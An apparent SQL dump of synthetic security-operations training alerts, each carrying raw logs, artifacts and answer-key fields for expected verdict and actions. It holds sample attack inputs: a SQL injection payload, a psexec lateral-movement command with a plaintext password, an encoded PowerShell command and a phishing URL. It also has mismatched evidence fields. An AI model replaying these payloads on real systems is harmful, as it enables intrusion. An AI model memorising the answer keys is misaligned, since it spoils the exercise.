(761, 'Malicious File Executed on Azure VM', 'critical', 'Microsoft Defender for Cloud', 'A known malicious file was executed on an Azure Virtual Machine, indicating a potential compromise.', 'Malware', 'T1059', 1, 'Closed', 95, '{\"timestamp\":\"2026-01-11T11:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.4\",\"dst_ip\":\"N/A\",\"username\":\"vm-user\",\"hostname\":\"azure-vm-01\",\"request_body\":\"N/A\",\"command_line\":\"C:\\\\malware\\\\badfile.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-09 15:49:24', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected by 50+ antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\badfile.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known malicious executable\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file executed is a known malicious program, posing a threat to the system.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.409Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.4\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"vm-user\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\badfile.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.409Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.4\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"vm-user\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\badfile.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.409Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.4\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"vm-user\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\badfile.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.409Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.4\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"vm-user\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\badfile.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.409Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.4\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"vm-user\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malware\\\\\\\\badfile.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(762, 'Unusual Spike in Cloud Resource Usage', 'low', 'AWS CloudWatch', 'An unusual increase in compute resources was detected in AWS, suggesting potential crypto mining activity.', 'Anomaly', 'T1496', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T10:00:00Z\",\"event_type\":\"resource_usage\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"N/A\",\"username\":\"aws-user\",\"hostname\":\"aws-ec2-instance\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-01-11 03:05:12', '2026-02-16 17:38:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the cloud instance\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"aws-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"AWS user account managing the instance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly\",\"analysis_notes\":\"The increased resource usage is attributed to a legitimate workload spike by the user.\"}', 'Novice', 'CLOUD', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.410Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:00:00Z\\\",\\\"event_type\\\":\\\"resource_usage\\\",\\\"src_ip\\\":\\\"192.168.3.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.410Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:00:00Z\\\",\\\"event_type\\\":\\\"resource_usage\\\",\\\"src_ip\\\":\\\"192.168.3.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.410Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:00:00Z\\\",\\\"event_type\\\":\\\"resource_usage\\\",\\\"src_ip\\\":\\\"192.168.3.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.410Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:00:00Z\\\",\\\"event_type\\\":\\\"resource_usage\\\",\\\"src_ip\\\":\\\"192.168.3.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.410Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:00:00Z\\\",\\\"event_type\\\":\\\"resource_usage\\\",\\\"src_ip\\\":\\\"192.168.3.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"aws-ec2-instance\\\",\\\"request_body\\\":\\\"N/A\\\",\\\"command_line\\\":\\\"N/A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(763, 'Suspicious PowerShell Encoded Command Execution Detected', 'high', 'CrowdStrike', 'A PowerShell process executed with an encoded command, potentially indicating a script-based attack leveraging Living-off-the-Land techniques.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.15.23\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"WIN-4D5G6H7J8\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB2AGkAcgB1AHMAdABvAGwAPQAiAG0AYQBsAGkAYwBpAG8AdQBzACIAOwBBAHMAcwBlAHQAIABWAGkAcgB1AHMAdABvAGwA\"}', '2026-01-11 17:29:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB2AGkAcgB1AHMAdABvAGwAPQAiAG0AYQBsAGkAYwBpAG8AdQBzACIAOwBBAHMAcwBlAHQAIABWAGkAcgB1AHMAdABvAGwA\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used by the organization\'s network.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell indicates an attempt to bypass detection mechanisms.\"}', 'Advanced', 'EDR', 8, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(764, 'Lateral Movement via PSExec Tool Detected', 'critical', 'Wazuh', 'Suspicious PSExec activity detected, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.25\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER1\",\"request_body\":\"\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.25 -u admin -p password cmd.exe\"}', '2026-01-11 17:29:28', '2026-02-16 18:02:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used by the organization\'s network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used by the organization\'s network.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.25 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec is commonly used in lateral movement attacks.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec usage from an internal source indicates lateral movement attempts.\"}', 'Advanced', 'EDR', 8, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.412Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.412Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.412Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.412Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.412Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-SERVER1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(765, 'Malicious Email with Phishing Link Detected', 'medium', 'Proofpoint', 'An email containing a known phishing link was detected and flagged for review.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:30:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"\",\"dst_ip\":\"\",\"username\":\"hr@company.com\",\"hostname\":\"\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"support@fakebank.com\",\"url\":\"http://maliciouslink.com/login\"}', '2026-01-11 17:29:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@fakebank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email address associated with phishing activity.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciouslink.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"URL is a known phishing site.\"}}],\"expected_actions\":[\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a known phishing link in the email confirms the threat.\"}', 'Advanced', 'SIEM', 8, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email with Phishing Link Detected\",\"date\":\"2026-02-01T20:32:22.413Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(766, 'SQL Injection Attack Detected on Web Application', 'critical', 'IDS/IPS', 'An attempted SQL injection attack was detected targeting the company\'s web application.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:22:45Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"203.0.113.5\",\"username\":\"\",\"hostname\":\"web-app\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-01-11 17:29:28', '2026-03-14 14:54:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 512 times for SQL injection attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL payload confirms an attempt to manipulate the database.\"}', 'Advanced', 'CORE', 8, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.414Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:22:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.414Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:22:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.414Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:22:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.414Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:22:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.414Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:22:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.5\\\",\\\"username\\\":\\\"\\\",\\\"hostname\\\":\\\"web-app\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(767, 'Suspicious Network Activity from Internal IP Address', 'low', 'Firewall', 'A high volume of outbound connections detected from an internal IP, potentially indicating data exfiltration activity.', 'Data Exfiltration', 'T1048', 0, 'investigating', 183, '{\"timestamp\":\"2026-01-11T13:05:37Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.10\",\"dst_ip\":\"192.0.2.45\",\"username\":\"svc-data\",\"hostname\":\"DATA-SERVER\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-11 17:29:28', '2026-02-20 04:38:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the organization\'s data server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.0.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"External IP reported for suspicious data exfiltration activities.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The pattern of network activity aligns with typical data exfiltration behavior.\"}', 'Advanced', 'NDR', 8, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(768, 'False Positive - Routine Administrative Command Execution', 'low', 'Splunk', 'A routine administrative command was flagged due to its similarity to known malicious patterns.', 'False Positive', '', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:23:01Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.10.10.10\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"ADMIN-PC\",\"request_body\":\"\",\"command_line\":\"regsvr32.exe /i /n C:\\\\Windows\\\\System32\\\\sample.dll\"}', '2026-01-11 17:29:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /i /n C:\\\\Windows\\\\System32\\\\sample.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Command is a legitimate administrative tool usage.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.10.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the organization\'s network.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"false_positive\",\"analysis_notes\":\"The command is consistent with routine administrative tasks.\"}', 'Advanced', 'EDR', 8, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.416Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:23:01Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.10.10.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ADMIN-PC\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /i /n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.416Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 